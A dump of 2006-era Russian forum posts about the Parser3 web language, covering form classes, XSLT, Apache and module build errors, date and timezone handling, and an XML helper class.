Это даже более или менее работает, но меня беспокоит ощущение, что я изобретаю велосипед. Соответственно, интересует следующее:\
1. А вдруг это кто-то уже делал на парсере намного лучше и красивее меня и готов поделиться опытом? Сходу поиском по форуму не нашел.\
2. Но уж на других ОО-языках такое наверняка делали. По каким ключевым словам следует искать в Google?"
"54430","Оказывается я не все файлы от старой MySQL удалил - нашел в c:\\windows файл my.ini удалил его и все заработало. Спасибо за помощь"
"54431","Как я посмотрел, parser3 остается практически не известен забугорной публике. \
Что касается меня, то я например считаю, что разработчикам стоит связаться с дистрибьюторами linux, и возможно подправить лицензию, чтобы parser так же как perl ruby python стал входить в поставку linux и freebsd.\
Он того безусловно заслуживает.\
\
Так же предлагаю добавить информационные статьи по Parser/Parser3/ALG Parser в Wikipedia.\
или сам вскоре добавлю"
"54432","... правда он был ещё не дописан, но идея довольно интересная."
"54433","Просто решил поделиться своим решением, как подключить отдельно Файловый менеджер... т.е. если Вам нужно сделать диалог выбора картинки на сервере... Именно на примере картинки я это и покажу\
\
[code]\
@edit_img[name;value]\
# путь сами пропишете...\
$fck_path[/fckeditor]\
<script type=\"text/javascript\">\
<!--\
	function SetUrl( txturl )\
	{\
//		document.getElementById['zzz$name'].value=txturl;\
		document.all.zzz${name}.value=txturl;\
		document.all.img${name}.src=txturl;\
	}\
//-->\
</script>\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
 <tr>\
 <td width=\"20%\" valign=\"top\">\
  <input name=\"$name\"  id=\"zzz$name\" type=\"text\" value=\"^untaint[html]{$value}\" />\
  <input type=\"button\" value=\"Просмотр на сервере\" onClick=\"window.open('$fck_path/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/parser/connector.html', 'azzz', 'height=400px, width=500px, resizable, scrollbars')^;\"/>\
 </td>\
 <td valign=\"top\">\
  <img  id=\"img${name}\" src=\"^untaint[html]{$value}\"/>\
 </td></tr>\
</table>\
[/code]\
\
Единственные минусы, которые Вы сами сможете исправить - это:\
1. Со стилями сами разберётесь\
2. Если адрес картинки отсутствует, то картинка имеет вид... ну как обычно, когда не найдена картинка... думаю в таких случаях Вы сами решите, что вместо неё поставить, можно невидимый гиф, можно картинку по умолчанию.\
3. Превьюшка. Сами решите, надо или нет Вам делать это. Как изменять размеры картинки на сервере, думаю многие знают...\
4. Если Вы используете не парсеровский конектор для FCK, то параметры в пути придётся изменить \"Connector=connectors/parser/connector.html\"\
5. Тип выбираемых файлов вы можете сами определять \"Type=Image\"\
\
Всё, надеюсь, хоть кому-то я помог..."
"54434","На выходе — XML. Затем используется связка универсальный шаблон (который знает что такое input, textarea,... и как их едят) + специфичный (который, собственно, отвечает за дизайн формы).\
\
Это было 4 месяца назад. Сейчас мне кажется, что удобней было бы хранить структуру и данные формы изначально в XML. Хотелось бы услышать, как это делается в Студии (вектора хотя бы!) :-)\
\
Пример создания/обработки формы с помощью моего класса:\
[code]$xFormObject[^xForm::create[\
\
	$.action[/register.html]\
	$.method[POST]\
	$.name[register]\
\
	^rem{ Встроенный antiflood.p by Misha v.3 (можно и не использовать) }\
	$.antiflood[\
\
		^rem{ Имя хеш-файла (для каждой формы файл должен быть уникальным }\
		$.hashfile_path[../data/hashfiles/register]\
\
		^rem{ Срок жизни записи в хеш-файле (часы) }\
		$.expires(0.5)\
	]\
\
	^rem{ Собственно сами поля }\
	$.fields[\
\
		^rem{ Поле с name=\"login\" }\
		$.login[\
			$.label[Логин]\
			$.type[text]\
\
			^rem{ Обязательное поле }\
			$.is_require(1)\
\
			$.maxlength(30)\
			$.size(20)\
\
			^rem{ используются в XSL }	\
			$.sort_order(1)\
			$.group(1)\
		]\
\
		$.password[\
			$.label[Пароль]\
			$.type[password]\
			$.is_require(1)\
\
			^rem{ Если форма вернется посетителю (ошибки заполнения), }\
			^rem{ то при наличии такого флага, пароль сохранится в поле }\
			$.no_сlear(1)\
			...\
		]\
\
		$.password_confirm[\
			$.label[Повторить пароль]\
			...\
		]\
\
		$.permanent_auth[ ^rem{ Одиночный флажок }\
			$.label[Узнавать всегда]\
			$.type[checkbox]	\
			$.checked(1)\
		]\
\
		$.favorites[ ^rem{ Группа флажков }\
\
			^rem{ Если указан, может использоваться\
			как заголовок fieldset и т. п. }\
			$.label[Избранное]	 \
\
			$.type[checkbox]\
\
			^rem{ Набор значений }\
			$.values[^table::create{value	disabled\
Книжки	1\
Ложки		\
Кружки		\
Вилки		}]\
\
			^rem{ Выбранные значения }\
			$.checked[^table::create{value\
Книжки\
Мишки}]\
		]\
\
		$.auth_type[\
			$.label[Тип авторизации]\
			$.type[radio]\
			$.values[^table::create{value	label\
permanent	Постоянная\
temporary	Временная}]\
			$.checked[permanent]\
		]\
\
		$.primary_model[\
			$.label[Модель]		\
			$.type[select]\
			$.is_require(1)\
			$.options[^table::create{value	label\
H	Honda\
AR	Alfa Romeo\
B	BMW\
M	McLaren}]\
\
			^rem{ Содержимое незначащего option:\
			<option value=\"\">$.empty_option</option> }\
\
			^rem{ Без этого ключа незначащий option отсутствует }\
			$.empty_option[(Выбрать)]\
\
			^rem{ value выбранного option }\
			$.selected[AR]\
		]\
\
\
		$.additional_model[\
			$.label[Другие модели]		\
			$.type[select]\
			$.is_multiple(1)\
			$.size(5)\
\
			^rem{ Если value и label одинаковые, }\
			^rem{ можно в таблице привести только value }\
			$.options[^table::create{value\
Honda\
Alfa Romeo\
BMW\
McLaren}]\
\
			$.empty_option(1)\
			^rem{ В таком случае: <option value=\"\"></option>\
			(есть, но пустой) }\
\
			$.selected[^table::create{value\
Honda\
BMW}]\
		]\
	]\
]]\
\
\
^rem{\
	Правило 3-х П:\
	^xFormObject.process{Проверяем}{Принимаем}{Посылаем}\
\
	При первоначальном вызове, форма выводится автоматически.\
}\
\
\
\
^xFormObject.process{\
\
	^rem{ Здесь делаем все дополнительные операции проверки формы }\
	^rem{ и, если нужно, инициируем ошибки: }\
	^if(def $form:password && def $form:password_confirm\
	&& $form:password ne $form:password_confirm){\
		^xFormObject.error[password_confirm;Пароли не совпадают]\
	}\
	\
	^rem{ Проверки на заполненность ($.is_require(1)) }\
	^rem{ и максимальную длину ($.maxlength(int)) делаются автоматически }\
	\
	^rem{ Если произошли ошибки, форма возвращается пользователю }\
\
}{\
	^rem{ Успешная обработка формы. Тут делаем с данными из form:...\
	то, что собирались }\
	^rem{ Можно снова показать форму: ^xFormObject.print[] }\
}{\
	^rem{ Реакция на флуд/спам (сработает, если включен антифлуд) }\
	<p>Вы уже зарегистрированы!</p>\
}[/code]"
"54435","parser3_2_0.ru.chm можно читать теперь из под linux и делать это стало так же удобно как и под windows\
\
меня порадовало\
http://www.kchmviewer.net/download.html"
"54436","Вообщем всё уже придумано до Вас:\
Искать стоит по словам form generator и form validator\
\
[url=\"http://phpclub.ru/detail/article/quickform\"]PEAR HTML_QuickForm [/url]\
[url=\"http://phpclub.ru/talk/showthread.php?s=92a582a1f28714b4665974f194eb250e&threadid=58865&rand=48\"]Обсуждение валидаторов (PHP)[/url]\
\
Ну и в популярных нынче фреймворках Ruby on Rails и Django тоже есть классы реализующие эти механизмы.\
\
Вообще меня больше привлекает [url=\"http://www.w3.org/Submission/web-forms2/\"]Web Forms 2.0[/url]\
Может подождать до тех пор пока все браузеры будут это поддерживать (пока полностью поддерживает только Opera 9, FF недоконца)?\
\
P.S. Реализации на парсере не видел, но думаю, что можно будет без труда портировать тот же quickform. Наверняка у Студии тоже есть свои наработки..."
"54437","QuickForms - это все-таки совсем не то.\
\
Вот ActiveRecord в Ruby on Rails и что-то подобное в ASP.NET - почти то, чего хочется :)"
"54438","escape сотоварищи заменяет знак процента на %25, так что на выходе %0D%0A превратится в %250D%250A а по прибытии на место возвратится в исходное состояние.\
\
почему Миша не сделал я не знаю, возможно тут могут быть какие-то подводные камни, а может просто небыло необходимости.\
\
P.S. по возможности стоит обратить внимание на парсерную фичу [url=\"http://www.parser.ru/forum/?id=47608\"]fix_line_breaks[/url]..."
"54442","Существуют ли аргументы против использования ^use[] внутри класса?"
"54443","Например, если функции дополнительно подключаемого класа требуются не всегда, а только в особых случаях."
"54444","я использую @USE для подключения файлов с операторами или постоянно используемыми классами (lib.p, *sql.p, dtf.p, erusage.p, cachepage.p), а ^use[] использую для того, что не требуется постоянно (scroller.p, engine.p, antiflood.p...), прчем подключается они _внутри_ cache..."
"54445","Класс подключается в ^use[], нормально ли в этом классе использовать снова ^use[] с другим классом? Вопрос исключительно в этом."
"54446","$hotlog[^file::load[binary;counter.hotlog]] \
^untaint[as-is]{$hotlog.text}"
"54448","если у меня класс использует другие классы, то эти другие обычно небольшие, и подключаются с помощью @USE у первого класса.\
\
т.е. я в обработчике блока (который под ^cache[]) делаю ^use[article.p], а в article.p у меня в самом начале написано:\
@USE\
scroller.p\
\
причина, по которой я так делаю: открывая файл с классом я сразу вижу какие ещё классы используются этим классом. простота восприятия тут для меня важнее небольшой экономии памяти от того, что я не подключу scroller если у меня класс article.p будет показывать не список статей с постраничной навигацией, а конкретную новость."
"54449","Как используя parser+XSL, в файле XML преобразовать теги вида [code]<link id=\"2\"></link>[/code]\
на [code]<a href=\"/news/\">Новости</a>[/code]\
, если:\
 \
Все записи о страничках храню в файле sections.cfg\
section_id	name	uri \
1	Главная	/\
2	Новости	/news/\
3	Контакты	/contacts/\
4	Цены	/price/\
5	Ваше мнение	/gbook/\
\
сами страницы в XML, например так\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<article> \
    <author id=\"1\" /> \
    <title>Работаем с XML</title> \
    <body> \
        <para>Вставляем ссылки из sections.cfg\
<link id=\"1\"></link>\
<link id=\"2\"></link> \
<link id=\"3\"></link>\
<link id=\"4\"></link> \
<link id=\"5\">гостевая</link>\
	</para> \
    </body> \
</article>[/code]\
\
p.s. по форуму искал, но ничего не нашёл :("
"54450","[url=\"http://www.egoroff.spb.ru/portfolio/10.html\"]http://www.egoroff.spb.ru/portfolio/10.html[/url]\
\
[url=\"http://www.egoroff.spb.ru/portfolio/22.html\"]http://www.egoroff.spb.ru/portfolio/22.html[/url]"
"54453","А понял... Тогда скорее всего стоит посмотреть в сторону скаффолдинга(scaffolding) в Ruby on Rails. Как я понял, Вы хотите, чтобы на основе типов полей некоторой таблицы автоматически создавались методы для добавления, обнавления, удаления и просмотра объектов этой таблицы. Так?"
"54454","В продолжение этого [url=\"http://www.parser.ru/forum/?id=47808\"]http://www.parser.ru/forum/?id=47808[/url] разговора.\
Есть машана Linux  2.6.8.1-10mdksecure #1 SMP Wed Sep 8 16:46:40 CEST 2004 i686 unknown unknown GNU/Linux\
На ней запускается ее дистрибутивный Apache-AdvancedExtranetServer/2.0.50. Запускается он init - ом и работает от имени apache:apache . Стоит  parser : \
[root@server max]# /var/www/cgi-bin/parser3/parser3.cgi -h\
Parser/3.2.1 (compiled on i686-pc-linux-gnu)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
И все нормально работает. \
Но - делаю так \
http://192.168.0.1/cgi-bin/parser3/parser3.cgi\
В логах получаю такое:\
[Mon Jul 10 20:08:59 2006] [error] [client 192.168.0.1] Couldn't read /proc/self\
/stat\
[Mon Jul 10 20:08:59 2006] [error] [client 192.168.0.1] Premature end of script\
headers: parser3.cgi\
Как же все работает ?\
Смысл в том, что я хотел перейти на apache 1.3.xxx и при этом он должен запускаться обычным пользователем - и тут же всплывает Couldn't read /proc/self\
\
\
\
\
\
\
[Mon Jul 10 19:21:29 2006] [error] [client 192.168.0.1] Couldn't read /proc/self/stat\
[Mon Jul 10 19:21:29 2006] [error] [client 192.168.0.1] Premature end of script headers: parser3.cgi"
"54455","спасибо за ссылки. я их видел.\
сейчас посмотрел внимательней, но я так и не понял как мне заменить \
[code]<link id=\"2\"></link>[/code]\
на\
[/code]<a href=\"/news/\">Новости</a>[code]\
используя XSLT для преобразования XML, и видимо надо использовать parser3 для извлечения данных из sections.cfg\
\
В приведённых Rafael [10.07 15:49] примерах html-документ формируется в теле парсера, а можно применить трансформацию по шаблону XLST ?"
"54456","1. Для XML строки вида:\
[code]\
<link id=\"2\" uri=\"/news/\">Новости</link>\
[/code]\
\
нужен XSL-шаблон вида:\
\
[code]<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:template match=\"link\">\
		<a>\
			<xsl:attribute name=\"href\">\
				<xsl:value-of select=\"@uri\"/>\
			</xsl:attribute>\
			<xsl:copy-of select=\"./node()\"/>\
		</a>\
	</xsl:template>\
	\
</xsl:stylesheet>[/code]\
\
2. [quote]и видимо надо использовать parser3 для извлечения данных из sections.cfg[/quote]\
xsl-преобразованием достать данные из cfg-файла не получиться\
\
3. [quote]а можно применить трансформацию по шаблону XLST[/quote]\
Можно. Как? > в документации написано подробно."
"54458","[url=\"http://www.parser.ru/forum/?id=54174\"]enjoy FullText search[/url] (Misha v.3)\
[url=\"http://dev.mysql.com/doc/refman/4.1/en/fulltext-stopwords.html\"]12.7.3. Full-Text Stopwords[/url] (MySQL Manual)"
"54459","Я как на XML стал переходить, так в лимит по памяти и упёрся."
"54460","После продолжительных шаманских плясок и не без помощи всемогущего суппорта Parser на хостинге rbc заработал"
"54461","есть файл xml:\
<list>\
 <item>первый</item>\
 <item>второй</item>\
 <item>третий</item>\
</list>\
\
можно ли из него одним файлом xsl получить таблицу:\
<table>\
 <tr>\
  <td>первый</td>\
  <td>\
   <select>\
    <option selected=\"true\">первый</option>\
    <option>второй</option>\
    <option>третий</option>\
   </select>\
  </td>\
 </tr>\
<!-- и так далее -->\
</table>"
"54463","появляется, если xsl написан с ошибкой:\
<xsl:template match=\"document\">\
<xsl:apply-templates select=\".\" />\
</xsl:template>"
"54464","в данном примере <list> нужно превратить один раз в <table>, второй раз в <select>\
пока не знаю, как это сделать"
"54465","[code]\
<xsl:apply-templates select=\"list\" mode=\"table\"/>\
<xsl:apply-templates select=\"list\" mode=\"option\"/>\
[/code]"
"54467","у меня вот такая проблема, надо сделать проверку строк.\
есть строки А, Б и В\
как проверить\
А == Б+В \
?\
\
[code]$request:uri eq $uri_xml$uri_html[/code]\
не помогает"
"54469","Добавлены новые модули:\
- [b]portfolio.p[/b] – простой пример составления «портфолио»;\
- [b]org.p[/b] – простой пример составления структуры организаций и списка сотрудников;\
\
Добавлена частичная поддержка ACL, в частности, в «админке» добавлены формы для:\
- добавление/редактирование групп;\
- добавление/удаление пользователей из групп;\
- назначение группам прав доступа к объектам/строкам таблиц (разных) с древовидной структурой;\
\
Адрес: [url=\"http://parser.proc.ru/iso/2006-07-12-com.zip\"]http://parser.proc.ru/iso/2006-07-12-com.zip[/url]"
"54471","Искал сабж по форуму, но так и не нашел.\
Хорошо бы провести сравнительные тесты Parser3 и PHP, вроде http://parser2.parser.ru/forum/message_550.html, только обширнее и \"ближе к реальности\" (работа с базами данных, работа с файлами, разбор XML, математика, циклы, регулярные выражения).\
\
Сам, к сожалению, провести не могу, так как программирую на PHP и пока не знаю Parser в должном объеме."
"54473","Методология проста:\
1) Пишем функционально одинаковые скрипты на PHP и Parser3.\
2) Запускаем их на одном компьютере в одинаковых условиях и записываем результаты.\
\
:) Так?"
"54474","а если серьезно, то: одинаковую функциональность написать во первых сложно, а во вторных далеко не всегда нужно.\
\
возьмем тот-же tainting - он не нужен пока мы не работаем с данными введенными посетителями. но этот механизм в парсере работает всегда. да, он требует для своей работы рессурсы (время + память), но он не позволяет кодеру \"забыть\" проескейпить строку пришедшую от посетителя, которую он добавляет в sql запрос, и внедрить таким образом в систему подобную дырку.\
\
можно сказать что большинство функций в парсере более высокоуровневые. они делают больше, защищая кодера, и за этого мы \"платим\" временем выполнения/памятью.\
\
как уже тут неоднократно упоминалось: нам особо не интересны подобные сравнения, т.к. я думаю по скорости выполнения кода парсер проиграет практически всегда. для нас больше важна скорость разработки (под скоростью разработки я не беру скачивание и установку чего-то говорого а потом... апдейтами для устранения дыр).\
\
тупейшая парсерная конструкция: $form:name может быть вот так просто подставлена в sql запрос, в имя сохраняемого файла, в тело страницы и... если посетитель захочет нам напакостить у него ничего не получится, т.к. в sql запросе кавычки проэксейпятся (причем для разных sql серверов по разному), в имени файла запрещенные символы заменятся и у него не получится передать '../../.....', а переданное '<h1>' не поломает шрифт на всей странице. в случае php вам придется писать/вызывать разные функции в каждом случае, и самое главное вам нужно об этом будет _знать_и_не_забыть_, что для новичков далеко не просто.\
\
ладно, хватит с tainting-ом, можно и до sql запросов дойти: для работы с разными sql серверами в парсер надо написать один код. \
например парсерный код выводящий в виде таблички первые 10 строк из произвольной sql таблицы. все будет продолжать работать если мы вдруг решим поработать с другим sql сервером (говорю не о специфике sql серверов, а о парсерном интерфейсе работы со скриптами). вам придется переписать ваш код (+ запрос, т.к. LIMIT у ORACLE 8 например нет в синтаксисе).\
\
так что обсуждающийся цикл, на который вы сослались для нас не является аргументом :)\
\
P.S. конечно есть задачи, для которых скорость _очень_ важна, и тут в случае с парсером нам приходится довольно туго, хотя кеширование результатов во многих случаях нас спасает."
"54476","Столкнулся со страной проблемой\
[code]$response:location[http://^taint[as-is][$env:SERVER_NAME/index.html]][/code]  \
Все нормально и в Opere и в Mozile\
а вот в IE 7 (правда не знаю как в версия ниже) как то странно работает. Вроде обновление данных было, но страница не обновилась. Приходится на F5 жать чтобы посмотреть результат.\
\
У кого нибудь было такое, и в чем может быть трабла? Мож 7ка так работает"
"54477","Слушай, а у тебя есть пример панельки управления? Хотелось бы глянуть... Я имею в виду без установки у себя..."
"54480","IMHO бессмысленно выкачисвать 60-100k скриншотов если можно скачать CMS-ку и все \"потрогать\" своими руками.\
\
Но если вам, что называется не жить не быть хочеться,:\
[url=\"http://parser.proc.ru/userfiles/image/sc01130706.jpg\"]http://parser.proc.ru/userfiles/image/sc01130706.jpg[/url]\
[url=\"http://parser.proc.ru/userfiles/image/sc02130706.jpg\"]http://parser.proc.ru/userfiles/image/sc02130706.jpg[/url]\
[url=\"http://parser.proc.ru/userfiles/image/sc03130706.jpg\"]http://parser.proc.ru/userfiles/image/sc03130706.jpg[/url]"
"54481","> ./p3runConfigure\
> make\
[quote]mod_parser3.c:24:22: pa_httpd.h: No such file or directory\
mod_parser3.c:35: error: syntax error before '*' token\
mod_parser3.c: In function `our_dconfig':\
mod_parser3.c:36: error: `Parser_module_config' undeclared (first use in this function)\
mod_parser3.c:36: error: (Each undeclared identifier is reported only once\
mod_parser3.c:36: error: for each function it appears in.)\
mod_parser3.c:36: error: syntax error before ')' token\
mod_parser3.c: In function `cmd_parser_config':\
mod_parser3.c:41: error: `Parser_module_config' undeclared (first use in this function)\
mod_parser3.c:41: error: `cfg' undeclared (first use in this function)\
mod_parser3.c:41: error: syntax error before ')' token\
mod_parser3.c: In function `cmd_parser_status_allowed':\
mod_parser3.c:50: error: `Parser_module_config' undeclared (first use in this function)\
mod_parser3.c:50: error: `cfg' undeclared (first use in this function)\
mod_parser3.c:50: error: syntax error before ')' token\
mod_parser3.c: In function `parser_handler':\
mod_parser3.c:116: error: syntax error before \"lr\"\
mod_parser3.c: At top level:\
mod_parser3.c:133: error: syntax error before '*' token\
mod_parser3.c:133: error: `ar' undeclared here (not in a function)\
mod_parser3.c:133: error: initializer element is not constant\
mod_parser3.c:133: warning: data definition has no type or storage class\
mod_parser3.c:135: error: syntax error before \"return\"\
*** Error code 1\
\
Stop in /usr/ports/www/apache13/work/apache_1.3.36/src/modules/extra.\
[/quote]"
"54482","попробуйте написать:\
[code]\
$response:location[http://^taint[as-is][$env:SERVER_NAME/index.html?123]]\
[/code]\
\
если адрес в броузере обновится, значит редирект был, просто IE взял страничку из кеша. в этом случае вместе с редиректом выдайте ему антикеширующие заголовки."
"54483","антикешерующие заголовки..\
Если можно поясните или где почитать про это..\
\
Да в версии IE 6 работает нормально, а вот 7  так глючит."
"54485","На [url=\"http://www.brim.ru\"]Brim.ru[/url] есть тарифный план с выделеным сервером Tomcat"
"54486","Руками копируем pa_httpd.h из исходников парсера в каталог апача c модулем парсера."
"54489","Да ладно?\
на самом деле лезем в regedit:\
HKEY_LOCAL_MACHINE -> SYSTEM -> ControlSet001 -> Control -> Nls -> CodePage,\
а тут меняем значение параметров 1250 и 1252 на 1251...\
далее ребут и Дримвивер држит с кодировками.\
но в Дриме луче все же поставить в пропертях что бы он новые страницы создавал по дефолту с \
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=WINDOWS-1251\">\
типа вот.."
"54490","Что-то не выходит у меня запустить тест... (\
уже сутки наверное бьюсь, не могу.\
поиском пользовался - не помогло.\
ошибка: исходный файл не найден."
"54491","Письмо с вложением, отправленное Парсером, после получения, в почтовой программе отмечено \"скрепкой\". При получении такого письма на почту \"Яндекса\" в веб-интерфейсе (в списке писем) данное письмо \"скрепкой\" не отмечается, хотя при открытии письма ссылка на файл вложения выдаётся.\
   В обоих случаях вложенный файл открывается без проблем.\
   В чём причина - в коде, в \"Яндексе\", в сервере или, может быть, ещё в чём-то?..\
\
   Привожу код:\
\
[code]\
	^mail:send[\
		$.from[Отправитель <_otp_@mail.ru>]\
		$.to[Получатель <_plc_@yandex.ru>]\
		$.subject[_subj_]\
		$.text[\
		... text ...\
\
   attach\
\
   ${t_name}\
\
   ***\
		]\
		$.file[\
			$.value[^file::create[text;${t_name};${m_txt}]]\
			$.name[${t_name}]\
	    	]\
	]\
[/code]"
"54492","Вот, что по этому поводу пишет MySQL - http://dev.mysql.com/doc/refman/4.1/en/old-client.html"
"54493","не могу сообразить каким образом реализовать автозакрывание пседотегов после отправки сообщения...\
т.е. вот пользователь пишет \"[bold]тут идет текст\" и забывает поставить [/bold].. в итоге весь текст на странице ниже этого тега становиться жирным... как это побороть?\
\
можно кинуть в меня ссылку на готовое решение, если есть у кого-то... поиском не могу найти никак подобную тему..."
"54498","пятница, вечер, мозг кипит.. а надо вчера...\
пасибо большое..."
"54501","Почему в данном куске кода происходит имеено так:\
[code]\
		$CNow[^date::now[]]\
		$RNow[^date::now[]]\
		^RNow.roll[TZ;MET-1DST] # Амстердам\
		^CNow.roll[TZ;MSK-3MSD] # Москва\
		^if($CNow > $RNow){\
			1\
		}{\
			0\
		}\
		<br>\
		$CNow.hour > $RNow.hour\
[/code]\
Независимо от знака неравенства в условии [code]^if($CNow > $RNow)[/code] или [code]^if($CNow < $RNow)[/code] всегда выдается 0. И если затем сравнивать значения часов, то здесь все верно. В чём ошибка?"
"54502","Я установил последнюю версию, все сделал вроде как надо, но не запускается. Ошибка \"x:/home/com.ru/www/classes/common/uri.p(51:22): '1' duplicate key\" Что это может быть? ПЛИИИИИЗ!!"
"54504","Пытаюсь создать алфавит символов $,#,^, ,; вот так: [code]^square.font[^$^@^;^#^#20;AlpT2.gif](0)[/code]. Возникает ошибка: [color=\"#ff0000\"]syntax error, unexpected '^', expecting '[' or '{' or '('[/color]. Как правильно создавать алфавит с такими смволами?"
"54507","Tools - Preferences -> Check documents\
Ставите значение \"Always\"\
[i]Opera 9.00[/i]"
"54509","В таблице [b]t_sections[/b] нужно у строки, где dir = main, поставить id = 0.\
\
Небольшой \"Глюк\" SQL-скрипта. Все никак не получается его исправить."
"54511","И в чем была проблемма? Такая ж фигня на FreBSD 5.4 собиралось скриптом buildall-with-xml, _test.html выдает что надо собирать с поддержкой xml"
"54512","[code]^if($CNow.hour > $RNow.hour)[/code]\
\
Так пойдёт?"
"54513","[code]\
# $Id: XmlParser.p,v 1.0.0.0 2006/07/06 Seomin Kirill Exp $\
\
\
@CLASS\
XmlParser\
\
\
@create[]\
\
\
#Ввод\
\
\
@doXmlNew[docName;root]\
$self.$docName[^xdoc::create[$root]]\
\
\
@doXmlLoad[docName;fileName;flag]\
^if(-f \"$fileName\"){\
	$self.$docName[^xdoc::load[$fileName]]\
	$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
\
@getXmlRpc[docName;flag]\
$self.$docName[^xdoc::create{$request:body}]\
^if($self.$docName is xdoc){\
	$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
#Узлы\
\
\
@getNodeSelectFirst[docName;path;flag]\
^if($self.$docName is xdoc){\
$nodeList[^self.$docName.select[$path]]\
^if($nodeList >= 1){\
$result[$nodeList.0]\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doNodeAdd[docName;path;tag;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$nodeNew[^self.$docName.createElement[$tag]]\
$temp[^node.appendChild[$nodeNew]]\
$result(true)\
^if(def $value){\
$nodeNewValue[^self.$docName.createTextNode[$value]]\
$nodeNew[^getNodeSelectFirst[$docName;$path/$tag]]\
$temp[^nodeNew.appendChild[$nodeNewValue]]\
}\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doNodeDel[docName;path;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$nodeParent[$node.parentNode]\
$temp[^nodeParent.removeChild[$node]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@setNodeValue[docName;path;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$node.firstChild.nodeValue[$value]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doNodeCopy[docNameFrom;pathFrom;docNameTo;pathTo;flag]\
^if($self.$docName is xdoc){\
$nodeFrom[^getNodeSelectFirst[$docNameFrom;$pathFrom]]\
^if(($nodeFrom is xnode) && ($nodeFrom.nodeType == $xnode:ELEMENT_NODE)){\
$nodeNew[^self.$docNameTo.importNode[$nodeFrom](-1)]\
$nodeTo[^getNodeSelectFirst[$docNameTo;$pathTo]]\
^if(($nodeTo is xnode) && ($nodeTo.nodeType == $xnode:ELEMENT_NODE)){\
$temp[^nodeTo.appendChild[$nodeNew]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getNodeValue[docName;path;flag]\
^if($self.$docName is xdoc){\
$node[^self.getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$result[$node.firstChild.nodeValue]\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
#Атрибуты\
\
\
@doAttrAdd[docName;path;attr;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$attrNew[^self.$docName.createAttribute[$attr]]\
$temp[^node.appendChild[$attrNew]]\
$result(true)\
^if(def $value){\
$attrNewValue[^self.$docName.createTextNode[$value]]\
$attrNew[^getNodeSelectFirst[$docName;$path/@$attr]]\
$temp[^attrNew.appendChild[$attrNewValue]]\
}\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@doAttrDel[docName;path;attr;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$temp[^node.removeAttribute[$attr]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@setAttrValue[docName;path;attr;value;flag]\
^if($self.$docName is xdoc){\
$node[^getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$temp[^node.setAttribute[$attr;$value]]\
$result(true)\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getAttrValue[docName;path;attr;flag]\
^if($self.$docName is xdoc){\
$node[^self.getNodeSelectFirst[$docName;$path]]\
^if(($node is xnode) && ($node.nodeType == $xnode:ELEMENT_NODE)){\
$result[^node.getAttribute[$attr]]\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
#Вывод\
\
\
@doXmlSave[docName;fileName;flag]\
^if($self.$docName is xdoc){\
^self.$docName.save[$fileName]\
$result(true)\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getXmlXslt[docName;fileName;flag]\
^if($self.$docName is xdoc){\
^if(-f \"$fileName\"){\
$xslt[^self.$docName.transform[$fileName]]\
$result[^xslt.string[$.method[html]]]\
}{\
	$result(false)\
}\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@getXmlPrint[docName;flag]\
^if(def $self.$docName){\
$result[^self.$docName.string[]]\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
\
\
@setXmlRpc[docName;flag]\
^if($self.$docName is xdoc){\
$response:body[^self.$docName.string[]]\
}{\
	$result(false)\
}\
^if($flag != 1){$result[]}\
[/code]"
"54514",".roll[TZ;...] в реальности _не_ производит модификаций значения количества суток в объекте date, т.е. в вашем случае $CNow == $RNow (ну не совсем, т.к. они создаются с некоторым промежутком во времени. они были бы разнв если бы $RNow вы создавали так: $RNow[^date::create($CNow)] )\
\
т.е. у обоих ваших сравниваемых объектов числовое значение  одинаково.\
\
что касается текущей реализации работы с TZ то я её не пользуюсь ввиду достаточно большого количества неочевидностей и сложностей с прозрачным использованием."
"54515","http://www.parser.ru/docs/lang/datecreatestring.htm\
\
